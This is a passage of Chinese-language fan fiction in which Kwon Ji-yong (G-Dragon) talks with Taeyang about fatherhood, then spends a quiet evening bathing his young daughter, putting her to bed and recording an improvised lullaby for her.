权志龙知道太阳有个儿子,平时被保护得很好,很少在公众面前曝光。他忽然意识到,太阳可能是他认识的人里,唯一真正理解他现在处境的人。 “你那时候……怎么平衡工作和家庭?”他问。 太阳想了想。“说实话,很难。特别是巡演的时候,一走就是十天半个月,回家孩子都不认识我了。”他喝了口咖啡,“后来我和夫人商量,尽量把巡演排得紧凑些,中间留出回家的时间。在家的时候,就尽量把工作安排在孩子睡觉的时间。” “能做到吗?” “尽力而为。”太阳说,“但总会有冲突。有时候孩子生病,刚好赶上重要行程,那种时候……”他顿了顿,“就得做选择。” 权志龙沉默着。这正是他担心的。 “志龙啊,”太阳看着他,“我知道你现在很矛盾。一方面想好好照顾孩子,一方面又不想放弃音乐。但我想说……这两件事不一定是冲突的。” “什么意思?” “我儿子出生后,我的音乐其实变了。”太阳说,“不是变差,而是……变得更丰富,更有层次。以前我写歌,更多是表达自我,追求技巧和深度。但现在,我会写一些更简单、更温暖的旋律,因为我儿子喜欢听。” 他顿了顿,继续说:“做父亲会改变你看世界的角度。那些曾经觉得不重要的小事——阳光照在地板上的样子,风吹动树叶的声音,孩子笑起来的表情——现在都成了灵感的来源。” 权志龙想起这几天晚上,他在贤智睡后,坐在钢琴前随手弹奏的那些片段。没有复杂的和弦,没有强烈的节奏,只是一些简单的、循环的旋律,像摇篮曲,又像某种内心的低语。 “我在试着写一些新的东西。”他承认,“但不知道方向对不对。” “没有什么对不对。”太阳说,“音乐是表达。你现在是什么状态,就表达什么状态。真实的东西,自然能打动人。” 两人又聊了一会儿近况。太阳说他在准备新的solo专辑,进度很慢,但很享受这个过程。权志龙则简单提了提和YG的讨论,还有那份还在修改中的企划书。 “需要帮忙的话,随时说。”太阳临走前说,“不管是音乐上的,还是……其他方面的。” “谢谢。” 走出咖啡馆时,天色已经暗了下来。秋日的傍晚来得早,街道两旁的店铺亮起温暖的灯光。权志龙步行回公寓,路过一家儿童用品店时,他停下脚步。 橱窗里陈列着一排毛绒玩具,其中一个蓝色的小鲸鱼吸引了他的注意。鲸鱼做得憨态可掬,眼睛是两颗黑色的纽扣,嘴角微微上扬,像是在微笑。 他推门进去,买下了那只鲸鱼。 回到公寓时,刚过六点。朴阿姨已经准备好了晚餐,贤智坐在餐椅里,面前放着一小碗南瓜粥。 “权先生回来了。”朴阿姨从厨房探出头,“晚饭马上就好。” “不急。”权志龙走到贤智身边,把装着鲸鱼的纸袋递给她,“给贤智的礼物。” 贤智放下勺子,好奇地看着纸袋。权志龙帮她打开,拿出那只蓝色鲸鱼。鲸鱼很软,抱在怀里刚刚好。 贤智盯着鲸鱼看了几秒,然后伸出小手,摸了摸鲸鱼的眼睛,又摸了摸鲸鱼的尾巴。最后,她把鲸鱼抱进怀里,用脸蹭了蹭鲸鱼柔软的绒毛。 “她好像很喜欢。”朴阿姨端着菜走出来,微笑着说。 晚餐时,贤智一直抱着那只鲸鱼,连喝粥都不肯松手。权志龙看着她专注的表情,心里涌起一股暖意。 饭后,朴阿姨收拾厨房,权志龙带贤智洗澡。这是他们每天的固定程序,也是权志龙坚持要自己做的部分。 浴室里蒸汽弥漫。贤智坐在婴儿浴盆里,怀里抱着鲸鱼,任由权志龙用柔软的浴巾给她擦洗。她似乎很喜欢洗澡,每次都会安静地玩水,偶尔拍打水面,溅起小小的水花。 “贤智今天开心吗?”权志龙一边给她洗头发,一边问。 贤智没说话,只是把鲸鱼举起来,让水从鲸鱼的尾巴上流下来。 洗完澡,擦干身体,换上干净的睡衣。权志龙把贤智抱到尿布台上,涂上润肤露。贤智的皮肤很嫩,在灯光下泛着健康的粉色。 朴阿姨不知何时站在浴室门口,手里拿着贤智的睡衣。“权先生,您的手法越来越熟练了。” 权志龙笑了笑。“练出来的。” 晚上七点半,贤智开始揉眼睛。权志龙抱着她走进儿童房,准备哄睡。朴阿姨已经提前调暗了灯光,铺好了床。 但今晚,贤智似乎不想睡。她在权志龙怀里扭动身体,小手抓着他的衣服,嘴里发出含糊的“呜呜”声。 “困了?”权志龙轻声问。 贤智摇摇头,把脸埋进他肩头。 朴阿姨站在门口看了一会儿,然后走进来。“她可能是白天睡太多了,下午睡了两个半小时,比平时长。” “那怎么办?” “陪她玩一会儿,消耗一下精力。”朴阿姨建议,“但要温和的活动,不能太兴奋。” 权志龙抱着贤智走到客厅,在地毯上坐下。他拿出那架小钢琴,放在两人面前。 “贤智想听音乐吗?”他问。 贤智看了看钢琴,点点头。 权志龙开始弹奏。不是完整的曲子,只是一些简单的音符组合,像雨滴,像星光,像风拂过树叶。他弹得很慢,每个音符都有足够的空间呼吸。 贤智安静地听着,怀里抱着鲸鱼,眼睛半闭着。她的呼吸随着音乐的节奏渐渐放缓。 弹到一半时,权志龙忽然停了下来。他想起了今天下午和太阳的谈话,想起太阳说的“更简单、更温暖的旋律”。 他重新把手放在琴键上,这一次,他弹起了一段全新的旋律。 旋律很简单,只有几个音符重复,但每次重复都有微妙的变化。像摇篮曲,但又不完全是;像童谣,但更自由,更即兴。 他一边弹,一边轻声哼唱,没有歌词,只是“啦……啦……”的旋律。 贤智完全闭上了眼睛。她的身体软软地靠在权志龙怀里,小脑袋枕着他的手臂,呼吸均匀绵长。 朴阿姨不知何时又退了出去,轻轻带上了客厅的门。 权志龙继续弹着,哼唱着。月光透过落地窗 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“也许您可以把它录下来。”朴阿姨建议,“以后我不在的时候,您可以用录音哄她睡。” 权志龙想了想,拿出手机,打开录音功能。他重新把手放在琴键上,凭着记忆,慢慢弹奏刚才的旋律。 这一次,他弹得更完整,更流畅。旋律在安静的客厅里回荡,温柔,简单,却有一种奇异的力量。 录音结束。他保存文件,命名为“贤智的摇篮曲”。 “谢谢你的建议。”他对朴阿姨说。 朴阿姨笑了笑:“不客气。时间不早了,我先下班了。明天见。” “明天见。” 送走朴阿姨,权志龙回到书房。他没有立刻工作,而是戴上耳机,重新播放刚才的录音。 耳机里,钢琴声流淌出来。比现场听更清晰,每个音符都干净而温暖。他闭上眼睛,跟着旋律轻轻哼唱。 一段只有两分钟的简单旋律,但不知道为什么,听起来却如此……完整。 他打开电脑上的编曲软件,把录音导入,开始做一些简单的编辑:调整音量平衡,加上一点点混响,让声音听起来更柔和。 然后,他导出文件,保存到手机里。 做完这一切,他看了看时间,晚上九点。按照新的作息,现在应该是他的工作时间——处理邮件,修改音乐,或者阅读资料。 但他今天不想工作。 他走到客厅,关掉大灯,只开了一盏落地灯。然后他在钢琴前坐下,手指放在琴键上。 这一次,他没有弹奏任何已有的旋律,只是让手指在琴键上自由移动。音符随机地响起,不成调,但意外地和谐。 窗外,首尔的夜景璀璨如星河。汉江上的游船缓缓驶过,留下一道道光痕。远处的高楼大厦灯火通明,像一个个发光的积木。 权志龙弹了很久,直到手指有些发酸才停下。 他走到窗边,看着窗外的城市。这个他生活了三十多年的地方,此刻看起来既熟悉又陌生。 新的节奏已经建立。有规律的工作时间,有可靠的帮手,有逐渐适应的父女关系。 但内心深处,他知道这种平衡是脆弱的。一次突发的行程,一次孩子的生病,一次工作的压力,都可能打破它。 手机震动了一下。是多美发来的消息:「周末带贤智来家里吃饭?我买了新的儿童餐具,很可爱。」 权志龙回复:「好。」 他又看了看时间,九点半。按照新的作息,他应该去洗漱,准备休息,明天还要早起。 但他忽然想起什么,走进儿童房,轻轻打开门。 贤智还在熟睡。月光透过百叶窗的缝隙洒进来,在她脸上投下柔和的光影。她侧躺着,怀里抱着蓝色鲸鱼,嘴角微微上扬,像是在做一个好梦。 权志龙在床边站了一会儿,然后轻轻退出房间。 他走回客厅,最后看了一眼窗外的夜景,然后关掉落地灯。 公寓陷入黑暗,只有窗外的城市灯火透进来微弱的光。 新的节奏,新的日常,新的挑战。 但至少今夜,在这个安静的公寓里,一切都在正确的轨道上。 这就够了。